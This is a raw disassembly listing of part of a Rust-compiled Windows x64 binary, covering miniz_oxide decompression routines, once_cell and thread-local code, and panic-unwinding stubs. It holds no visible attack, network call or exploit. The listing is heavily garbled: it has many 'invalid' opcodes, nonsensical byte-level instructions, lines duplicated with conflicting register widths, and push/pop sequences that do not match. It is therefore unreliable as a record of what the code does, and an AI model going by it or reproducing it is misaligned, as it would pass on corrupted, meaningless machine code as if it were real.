call fcn.14005f4fb
mov r8, qword [r14]
mov r9, qword [r14 + 8]
mov rdi, qword [r14 + 0x10]
mov r14, qword [r14 + 0x18]
lea rdx, [rsi + rbx]
lea edx, [rsi + rbx]
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
sbb eax, dword [rax]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
fld1
lodsd eax, dword [rsi]
push 0x39490002
call fcn.140085969
cmp r14, rsi
div byte [rdx + 0x31]
div byte [rdx + 0x31]
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov qword [rsp + 0x20], rcx
sub byte [rax + 0x1b], dh
add byte [rax - 0x77], cl
and al, 0x20
mov rcx, rax
mov r8, rdi
mov r9, rsi
mov ecx, esi
int1
call fcn.1401c59a4
jmp 0x14005efce
invalid
invalid
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
add eax, 0x1b7051
sbb eax, dword [rax]
mov rcx, rdi
mov rdx, r14
call fcn.1401c7190
sahf
adc byte [rsi], 0
sahf
adc byte [rsi], 0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov rcx, rsi
mov rdx, r14
call fcn.1401c6f20
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea eax, [0x140216138]
mov rcx, r14
mov rdx, r15
call fcn.1401c6f20
add ah, cl
add ah, cl
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rsi, rdx
mov rdi, rcx
mov rcx, r9
sub rcx, r8
neg rcx
mov rax, r9
sub rax, r8
mov r14, qword [rsp + 0xb8]
mov r15, qword [rsp + 0xb0]
cmovb rax, rcx
cmp r14, 0xffffffffffffffff
je 0x14005f224
invalid
add byte [rax], al
invalid
invalid
mov rdx, r15
shr rdx, 2
lea r10, [r9 + rdi]
add r10, 3
xor r11d, r11d
lea rbx, [r9 + r11]
lea rcx, [r8 + r11]
sub rdx, 1
sub edx, 1
jb 0x14005f2f4
add byte [rax], al
add byte [rax], al
and rcx, r14
cmp rcx, rsi
jae 0x14005f3db
cmp rbx, rsi
jae 0x14005f3e4
mov al, byte [rdi + rcx]
mov byte [r10 + r11 - 3], al
lea rcx, [r8 + r11]
or al, 0x18
lea ecx, [rax + rbx]
or al, 0x18
sbb byte [rax - 1], cl
ror dword [rcx + riz - 0xf], 0x48
cmp ecx, esi
inc rcx
and rcx, r14
cmp rcx, rsi
jae 0x14005f3f0
add byte [rbx - 0x73], cl
add al, 0x19
lea rax, [r9 + r11]
inc rax
cmp rax, rsi
cmp eax, esi
ror byte [rax + 0x39], 0xf0
cmp eax, esi
jae 0x14005f3f9
mov al, byte [rdi + rcx]
mov byte [r10 + r11 - 2], al
dec byte [rbx - 0x73]
or al, 0x18
dec byte [rbx - 0x73]
or al, 0x18
add rcx, 2
and rcx, r14
cmp rcx, rsi
jae 0x14005f402
lea rax, [r9 + r11]
sbb dword [rax - 0x7d], ecx
rol byte [rdx], 0x48
cmp rax, rsi
add rax, 2
cmp rax, rsi
jae 0x14005f40b
mov al, byte [rdi + rcx]
mov byte [r10 + r11 - 1], al
lea rcx, [r8 + r11]
or al, 0x18
or al, 0x18
add rcx, 3
and rcx, r14
and ecx, esi
and ecx, esi
cmp rcx, rsi
jae 0x14005f414
adc dword [rcx], 2
add byte [rax], al
adc dword [rcx], 2
add byte [rax], al
lea rax, [r9 + r11]
add rax, 3
rol byte [rbx], 0x48
cmp eax, esi
rol byte [rbx], 0x48
cmp eax, esi
jae 0x14005f41d
add byte [rax], al
mov al, byte [rdi + rcx]
mov byte [r10 + r11], al
add r11, 4
jmp 0x14005f168
cmp r8, r9
jae 0x14005f278
cmp rax, 1
jne 0x14005f278
lea rcx, [r9 - 1]
cmp rcx, rsi
jae 0x14005f48f
push rbx
add al, byte [rax]
invalid
push rbx
add al, byte [rax]
add byte [rdx - 0x76], al
mov bpl, byte [rdi + r9 - 1]
mov rbx, r15
and rbx, 0xfffffffffffffffc
add rbx, r9
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov qword [rsp + 0x20], rax
mov rcx, r9
leave
insb byte [rdi], dx
ud0
leave
mov rdx, rbx
mov r8, rdi
mov r9, rsi
call fcn.140085969
add dword [rdi + 2], esp
add byte [rcx], dh
leave
cmp rdx, rcx
je 0x14005f2d6
mov byte [rax + rcx], bpl
inc rcx
jmp 0x14005f26a
cmp r8, r9
jae 0x14005f156
cmp rax, 3
jbe 0x14005f156
mov rax, r15
shr rax, 2
lea rcx, [rsi - 4]
sub rax, 1
jb 0x14005f2ee
mov dword [rdi + r9], edx
add r8, 4
add r9, 4
jmp 0x14005f296
lea rcx, [rbx - 1]
and r15d, 3
inc dword [rcx - 0x7d]
out 3, eax
lea rax, [0x14028bdb8]
movsxd rdx, dword [rax + r15*4]
add rdx, rax
jmp rdx
retf 0x22
and r15d, 3
lea rax, [0x14028bdb8]
add byte [rdx + 0x63], cl
adc al, 0xb8
add byte [rdx + 0x63], cl
adc al, 0xb8
add rdx, rax
jmp rdx
and rcx, r14
and ecx, esi
cmp rcx, rsi
jae 0x14005f441
cmp rbx, rsi
jb 0x14005f3c8
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f3eb
mov rax, rcx
and rax, r14
cmp rax, rsi
jae 0x14005f42f
cmp rbx, rsi
jae 0x14005f44a
mov al, byte [rdi + rax]
mov byte [rdi + rbx], al
inc rcx
inc ecx
inc ecx
ror dword [rcx + riz - 0xf], 0x48
cmp ecx, esi
and rcx, r14
cmp rcx, rsi
jae 0x14005f45c
invalid
inc rbx
ret
cmp rbx, rsi
jb 0x14005f3c8
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
insb byte [rdi], dx
sbb eax, dword [rax]
jmp 0x14005f3eb
add byte [rax], al
add byte [rax - 0x77], cl
enter 0x214c, 0xfffffffffffffff0
mov rax, rcx
and rax, r14
cmp rax, rsi
jae 0x14005f438
invalid
cmp rbx, rsi
jae 0x14005f453
mov al, byte [rdi + rax]
mov byte [rdi + rbx], al
lea rax, [rcx + 1]
lea eax, [rcx + 1]
lea eax, [rcx + 1]
and rax, r14
cmp rax, rsi
jae 0x14005f465
lea rdx, [rbx + 1]
lea edx, [rbx + 1]
cmp rdx, rsi
cmp edx, esi
jae 0x14005f46e
add byte [rdx + 0x4880704], cl
invalid
mov al, byte [rdi + rax]
add al, 7
mov byte [rdi + rdx], al
add al, 0x17
add rcx, 2
and rcx, r14
cmp rcx, rsi
jae 0x14005f47a
add rbx, 2
cmp rbx, rsi
jae 0x14005f483
add cl, byte [rax + 0x39]
jae 0x14005f483
mov al, byte [rdi + rcx]
mov byte [rdi + rbx], al
invalid
invalid
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
sbb eax, dword [rax]
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea eax, [0x140215ec8]
mov rcx, rbx
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea eax, [0x140215ee0]
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea eax, [0x140215ef8]
jmp 0x14005f424
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
lea eax, [0x140215f28]
jmp 0x14005f424
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
imul ebx, dword [rbx], 0
mov rcx, rax
ror dword [rax - 0x77], 0xf2
mov rdx, rsi
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f424
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f424
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
imul ebx, dword [ebx], 0
jmp 0x14005f3eb
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f3eb
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f424
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
mov rcx, rdx
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
add eax, 0x1b6bdf
jmp 0x14005f427
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f3eb
invalid
invalid
invalid
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
jmp 0x14005f427
mov rcx, rdx
mov rdx, rsi
call fcn.1401c6f20
lea rax, str.dest_is_out_of_bounds
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], 8
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflatecore.rs
call fcn.1401c6e60
int3
and al, byte [rax]
lea rcx, [rsp + 0x28]
mov qword [rcx], rax
mov qword [rcx + 8], 1
add byte [rax - 0x39], cl
adc byte [r8], cl
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], cl
add byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.1401c6e60
int3
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.1401c6e60
int3
or byte [r9 + r15 - 0x3a], cl
or byte [rcx + rdi - 0x3a], cl
cmovae rsi, r8
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflate_stream.rs
mov rcx, rsi
mov ecx, esi
mov ecx, esi
call fcn.1400412d1
mov r8, qword [rdi + 0xaaf0]
mov eax, dword [rdi + 0xaaf0]
xchg eax, esi
stosb byte [rdi], al
add byte [rax], al
xchg eax, esi
stosb byte [rdi], al
add byte [rax], al
mov r9, r8
add r9, rsi
jb 0x14005f601
cmp r9, 0x8000
ja 0x14005f616
add r8, rdi
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflate_stream.rs
mov qword [rsp + 0x20], rcx
mov rcx, rax
ror dword [rcx - 0x77], 0xf1
ror dword [rcx - 0x77], 0xf1
call fcn.1401c59a4
mov rdx, qword [rbx]
mov r8, qword [rbx + 8]
mov qword [rbx], 1
and qword [rbx + 8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflate_stream.rs
mov rcx, rsi
call fcn.14001ca54
mov qword [rbx], rax
mov qword [rbx + 8], rdx
sub qword [rdi + 0xaaf8], rsi
mov eax, dword [rdi + 0xaaf0]
add eax, esi
and eax, 0x7fff
mov qword [rdi + 0xaaf0], rax
mov rax, rsi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflate_stream.rs
mov rcx, r8
mov rdx, r9
mov r8, rax
call fcn.1401c7190
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fminiz_oxide_0.7.2_srcinflate_stream.rs
mov edx, 0x8000
mov rcx, r9
call fcn.1401c6f20
invalid
add ah, cl
invalid
and al, 0x28
mov rcx, rsi
call fcn.1400297e0
dec dword [rax - 0x7d]
add byte ds:[rax - 0x75], cl
push rsi
adc byte [rbp + 7], dh
dec dword [rax - 0x7d]
add byte ds:[rax - 0x75], cl
push rsi
adc byte [rbp + 7], dh
mov rax, qword [rsp + 0x30]
jmp 0x14005f656
xor eax, eax
add rsp, 0x40
pop rsi
ret
sal byte [rbx + rax*2 + 0x48], 0x89
invalid
mov r13, qword [rsi + 0x10]
cmp qword [rsi + 8], r13
je 0x14005f741
mov rcx, rdi
mov rdx, rsi
call case.0x14018f188.127
test rax, rax
je 0x14005f711
invalid
sbb byte [rcx - 0x77], cl
mov byte [rbx + 0x634903e0], 4
test byte [rcx + rax - 0x20], cl
mov r14, rax
and eax, 3
movsxd rax, dword [r12 + rax*4]
add rax, r12
jmp rax
cmp byte [rsi + 0x10], 0x23
je 0x14005f732
jmp 0x14005f749
cmp qword [rsi + 0x10], r13
cmp dword [rsi + 0x10], ebp
jne 0x14005f6df
jmp 0x14005f746
mov qword [rsp + 0x28], r14
mov rcx, rbx
fld1
cmp edx, ebx
sti
invalid
jmp 0x14005f6df
fld1
cmp edx, ebx
sti
invalid
xor r14d, r14d
jmp 0x14005f749
mov r14, r15
mov rax, r14
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov edx, dword [rsi + 0x10]
lea rax, [rdx*8]
add rax, qword [rsi + 8]
mov ecx, 1
cmp rcx, rdi
jae 0x1400603d0
and qword [rax], 0
inc rcx
add rax, 8
inc rdx
jmp 0x1400603bb
and qword [rax], 0
inc rdx
mov qword [rsi + 0x10], rdx
add rsp, 0x28
pop rdi
pop rsi
ret
lea rsi, [rsp + 0x28]
test rdx, rdx
je 0x140060437
mov rdi, qword [rdx + 8]
mov rcx, qword [rdx]
and qword [rdx], 0
test rcx, rcx
je 0x14006043e
mov qword [rsp + 0x28], rcx
mov byte [rdx + 0x10], 1
add rcx, 0x30
call fcn.1401ab380
mov rcx, rsi
call fcn.14006045e
mov rdx, rdi
jmp 0x140060403
add rsp, 0x58
pop rdi
pop rsi
ret
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001fonce_cell_1.19.0_srcimp_std.rs
call fcn.1401c7290
lea rdx, [rsp + 0x28]
lea edx, [rsp + 0x28]
and qword [rdx], 0
lea rcx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
call fcn.1401c800b
int3
mov r15, r14
and r15, 3
je 0x1400604b3
cmp r15d, 1
je 0x1400604d2
jmp 0x1400605dc
test rsi, rsi
je 0x1400604d2
lea rcx, [r14 + 1]
mov rax, r14
lock cmpxchg qword [0x1402c60d0], rcx
mov r14, rax
jne 0x14006049f
jmp case.0x140039166.402
lea r12, [r15 + rbp]
add r12, 0xffffffffffffffe8
mov eax, dword [0x1402c635c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xc8]
cmp eax, 1
je case.0x14002e5c3.445
test eax, eax
jne 0x140060613
mov eax, dword [0x1402c635c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov r13, qword [rcx + rax*8]
lea rcx, [r13 + 0xc0]
mov rdx, rbx
call fcn.14018c080
mov byte [r13 + 0xc8], 1
mov byte [rbp + 0xc8], 1
invalid
mov byte [rbp + 0xc8], 1
mov eax, dword [0x1402c635c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
sub ebx, dword [rsi + 0x26]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rax, qword [rax + 0xc0]
test rax, rax
je 0x14006059b
add byte [rax - 0x7b], cl
sal byte [rcx + rdx*2 - 0x10], 0x48
inc qword [rax]
lock inc qword [rax]
inc qword [rax]
add byte [rdi], cl
mov ss, ebp
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test rax, rax
invalid
invalid
mov dh, 0
jle 0x140060629
test rax, rax
je 0x140060613
add byte [rax], al
add byte [rax], al
mov rcx, r14
and rcx, 0xfffffffffffffffc
loope 0x140060560
mov qword [rbp - 0x18], rax
mov byte [rbp - 8], 0
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
add byte [rax - 0x77], cl
invalid
mov dword [rbp - 0x10], ecx
mov rax, r14
lock cmpxchg qword [0x1402c60d0], r12
cmpxchg qword [0x1402c60d0], r12
lock cmpxchg qword [0x1402c60d0], r12
cmpxchg qword [0x1402c60d0], r12
add byte [rbx + rax*2 + 0x49], dh
mov esi, eax
je case.0x1400089d2.671
mov r14, rax
mov r14, rax
mov r13d, r14d
and r13d, 3
mov rcx, rdi
call fcn.140060698
add dword [rax], eax
add byte [rbp + 0x39], cl
std
add dword [rax], eax
add byte [rbp + 0x39], cl
std
je 0x1400604da
jmp 0x1400605d0
call fcn.1401cb110
mov eax, dword [0x1402c635c]
mov dh, 0x5d
add byte es:[rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov dh, 0x5d
add byte es:[rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
mov rax, qword [rcx + rax*8]
ror dword [rax - 0x75], 0x80
rol byte [rax], 0
add bl, ch
mov gs, eax
mov rax, qword [rax + 0xc0]
mov eax, dword [rax + 0xc0]
jmp 0x14006054a
call fcn.14018de80
mov edi, 0x8a0012d8
mov al, byte [rbp - 8]
clc
test al, al
je 0x1400605bc
mov rcx, rdi
call fcn.140060698
mov r14, qword [0x1402c60d0]
xor eax, 0x265af9
xor eax, 0x265af9
pop rdx
add cl, ch
ret
jmp 0x14006049f
inc dword [rcx - 0x7d]
inc dword [rdx]
cmp r15d, 2
cmp edi, 2
je 0x140060601
jmp 0x1400605e2
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.1401b041d
invalid
adc al, 0
invalid
movzx edx, al
add edx, edx
lea rcx, [0x1402c60d0]
call fcn.1400603e2
nop
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.use_of_std::thread::current___is_not_possible_after_the_threads_local_data_has_been_destroyed
lea r8, [0x140260de8]
push 0x5e
pop rsi
pop rsi
pop rdx
call fcn.1401c72b0
xchg dword [rsi + rdx], ebp
ud2
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
lea rcx, [rbp - 0x18]
call fcn.140060698
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
std
invalid
int3
sub rsp, 0x40
lea rbp, [rsp + 0x40]
insb byte [rdi], dx
and al, 0x40
insb byte [rdi], dx
and al, 0x40
call rdx
lea rcx, vtable.type_info.0
pop rcx
add byte es:[rax - 0x77], cl
call 0x1304b9013
pop rcx
add byte es:[rax - 0x77], cl
call 0x1304b9013
invalid
mov qword [rbp - 8], rdx
lea rax, [0x140060730]
add eax, 0x5a
lea r8, [0x140000000]
sub eax, r8d
xchg dword [0x1402c61dc], eax
lea rax, section..data
invalid
sub eax, r8d
xchg dword [0x1402c61e4], eax
lea rdx, [0x1402c61d8]
lea rax, [0x1402c6008]
add eax, 0x265904
sub eax, r8d
xchg dword [0x1402c6004], eax
add eax, 0x2658f7
add eax, 0x2658f7
sub ecx, r8d
sub ecx, eax
xchg dword [0x1402c600c], ecx
or eax, 0x2658f6
lea rax, [0x140060790]
sub eax, r8d
xchg dword [0x1402c6020], eax
lea rcx, [rbp - 0x18]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
clc
invalid
mov rdx, qword [rax + 0x10]
call fcn.1400607d0
push rax
adc al, ch
jae 0x14006075b
add byte [rax], al
call fcn.1401a85f0
int3
invalid
mov qword [rbp - 0x20], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
lea rdx, str.librarypanic_unwind_src_seh.rs
lea rcx, [rbp - 0x30]
call fcn.1401c6e60
int3
int3
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x18], rcx
mov qword [rbp - 0x10], rdx
invalid
dec dword [rax - 0x77]
call 0x1305b9132
call qword [rdx]
mov rax, qword [rbp - 0x10]
cmp qword [rax + 8], 0
je 0x140060809
mov rdx, qword [rax + 0x10]
mov edx, dword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
add rsp, 0x40
pop rbp
jmp fcn.140001b50
nop
add rsp, 0x40
pop rbp
ret
add byte [rcx + rdx + 0x48], dh
mov eax, dword [rbp - 0x10]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
call fcn.140001b50
cli
invalid
cli
call qword [rax + 0x20c48348]
nop
add rsp, 0x20
pop rbp
ret
ror byte [rcx + rdi - 0x40], 1
in al, 0x2a
cld
dec dword [rax - 0x47]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
enter 0x575, 0x48
add esp, 0x28
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xc8
invalid
enter 0x575, 0x48
add esp, 0x28
mov ecx, eax
sub byte [rax - 0x75], cl
sbb dword [rbx + rcx*4 + 0x71], ecx
or byte [rcx + rdi - 0xd], cl
cmp ebx, esi
cmp ebx, esi
je case.0x14003c2d3.506
mov rsi, rcx
movzx ecx, byte [rbx]
or ebp, eax
cmp eax, 0x89000000
add byte [rax], al
invalid
mov ecx, eax
xor eax, eax
invalid
or ebp, eax
cmp eax, 0x89000000
add byte [rax], al
invalid
mov ecx, eax
xor eax, eax
invalid
add byte [rax], al
add byte [rcx - 0x7a3fce3f], cl
invalid
test ecx, ecx
rol byte [rbp - 0x76d48b37], 0xd7
test ecx, ecx
je case.0x14002e5c3.460
sub ecx, dword [rcx + 0x4b8d48d7]
mov edi, edx
lea rcx, [rbx + 1]
cmp rcx, r14
add qword [r9 + r15 - 0xf], rcx
add dword [rcx + rdi - 0xf], ecx
je case.0x14002e5c3.460
and byte [rdi], cl
mov dh, 9
movzx ecx, byte [rcx]
call fcn.1400608d6
and al, byte [rax]
add byte [rax], al
test eax, eax
sal byte [rdx + rdx + 0x48], 0x83
ret
je case.0x14003c2d3.506
add rbx, 2
mov qword [rsi], rbx
mov dword [rsi], ebx
shl dil, 4
add dl, dil
mov al, 1
jmp case.0x14002e5c3.460
xor eax, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
add byte [rax], al
cmp edx, 0xa
jb case.0x14002efaa.448
or dh, byte [rdx + 0x19]
or ecx, 0x20
add ecx, 0xffffff9f
invalid
lahf
rcr dword [rdi - 0x45f53e7d], 0xff
invalid
lahf
add ecx, 0xa
ror dword [rdx], 0xba
mov edx, 0xffffffff
cmovae edx, ecx
sal dword [rcx], 1
invalid
cmp edx, 0x10
invalid
dec dword [rdi]
sal dword [r9], 1
sal dword [rcx], 1
sal dword [rcx], 1
rol byte [rbx - 0x6df0ef06], 0xc0
adc byte [rdi], cl
xchg edx, eax
rol bl, 0x56
ret
push rsi
setb al
ret
push rdi
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
sub byte [rax - 0x77], cl
mov rsi, rcx
test rdx, rdx
invalid
je 0x140060927
invalid
sal byte [rsp + rbx + 0x78], cl
js 0x140060938
sub ecx, dword [rax - 0x77]
xlatb
mov rdi, rdx
mov rcx, rdx
mov ecx, edx
call fcn.1401b4afc
adc eax, 0xc0854800
test rax, rax
je 0x14006093f
and cl, byte [rax - 0x77]
jle 0x140060929
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rax
adc bl, r13b
or eax, 0x8668348
and dword [rsi + 8], 0
invalid
invalid
adc byte [rcx], r8b
jmp 0x140060934
and qword [rsi + 8], 0
and dword [rsi + 8], 0
or byte [rax], al
mov qword [rsi + 0x10], 1
add byte [rax], al
add byte [rcx], dh
xor eax, eax
jmp 0x140060950
shr bl, 0x18
and qword [rsi + 8], 0
jmp 0x14006094b
invalid
or al, 0x48
mov qword [rsi + 8], 1
mov dword [rsi + 8], 1
or byte [rcx], r8b
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x10], rdi
add dword [rax], eax
add byte [rax], al
mov qword [rsi + 0x10], rdi
mov eax, 1
add dword [rax], eax
add byte [rax], al
mov qword [rsi], rax
mov dword [rsi], eax
add rsp, 0x28
pop rdi
invalid
pop rsi
ret
test ecx, ecx
je 0x14006096f
mov rax, rdx
mov eax, edx
sar byte [rdx + 1], 1
mov edx, 1
add byte [rax], al
mov rcx, rax
jmp fcn.140001b50
adc edx, edi
inc ebx
ret
push rdi
sub esp, 0x40
mov esi, ecx
adc byte [rax - 0x73], cl
jl case.0x14002e5c3.450
invalid
lea edi, [rsp + 0x20]
and al, 0x20
and byte [rax - 0x77], cl
adc byte [r15], r9b
adc byte [rdi], cl
mov dword [rdi + 0x10], eax
adc byte [rdi], cl
adc byte [rdx], al
stc
add byte ds:[rax], al
add byte [rax - 0x7b], cl
test eax, eax
je 0x1400609cb
mov r14, rax
test eax, eax
ror dword [rax - 0x77], cl
int1
mov ecx, esi
invalid
mov ecx, dword [rsi + 8]
or byte [rcx + rax - 7], cl
add ecx, edi
add byte [rcx + 1], cl
fisttp word [rcx + rcx*4 + 0x7e]
mov qword [rsi + 0x10], r15
invalid
add edi, ebx
invalid
add esp, 0x40
pop rsi
pop rdi
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
in al, dx
pop rax
mov rsi, qword [rcx + 8]
test rsi, rsi
test esi, esi
or byte [rax - 0x7b], cl
div byte [rcx + rax*2 + 0x48]
je 0x140060a31
invalid
test esi, esi
je 0x140060a31
mov rbx, rcx
mov ebx, ecx
mov rdi, qword [rcx]
mov bpl, byte [rdi]
mov r14, qword [rcx + 0x10]
mov esi, dword [rcx + 0x10]
cmp dword [rax - 0x76], eax
invalid
mov esi, dword [rcx + 0x10]
adc byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov ecx, esi
mov edx, ebp
call case.0x140047a7d.110
invalid
add byte [rax], al
add byte [rax], al
mov edi, 0x84000000
sal byte [rdx + rbp + 0x48], 0xff
inc edi
movzx eax, bpl
dec rsi
add byte [rax], al
test al, al
je case.0x14003c171.412
inc rdi
inc edi
movzx eax, bpl
dec rsi
mov qword [rbx], rdi
mov qword [rbx + 8], rsi
lea rax, [rax + rax*2]
add al, 0x40
add al, 0x40
lea rdi, [0x1402169cd]
lea edi, [0x1402169cd]
add rdi, rax
mov esi, 3
add bl, ch
xor r15, rdi
jmp 0x140060a7c
xor edi, edi
jmp 0x140060a7c
lea r12, [rsi - 1]
lea r12, [rsi - 1]
inc dword [rbp + 0x31]
dec dword [rbp + 0x39]
invalid
invalid
xor r15d, r15d
cmp r12, r15
cld
je 0x140060a70
invalid
mov r13, r15
inc r15
inc edi
inc edi
mov dl, byte [rdi + r13 + 1]
invalid
mov rcx, r14
int1
call case.0x140047a7d.110
test al, al
je case.0x140033b27.423
add byte [rax], al
add byte [rax + rax*8 + 0x3949e474], al
cmp r13, rsi
cmc
jae 0x140060a93
lea rax, ss:[rdi + r15]
lea rax, [rdi + r15]
lea eax, [rdi + rdi]
sub rsi, r15
dec byte [rax - 0x77]
add ecx, dword [rax - 0x77]
jae 0x140060a73
mov qword [rbx], rax
mov dword [rbx], eax
mov qword [rbx + 8], rsi
mov rsi, r15
mov esi, edi
jmp 0x140060a7c
or al, 0x48
mov dword [rbx], 1
add byte [rax], al
mov qword [rbx], 1
add dword [rax], eax
add byte [rax], al
and qword [rbx + 8], 0
and dword [rbx + 8], 0
mov rax, rdi
mov rdx, rsi
add rsp, 0x58
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
lea rax, str.mid___len
lea eax, [0x1402892a8]
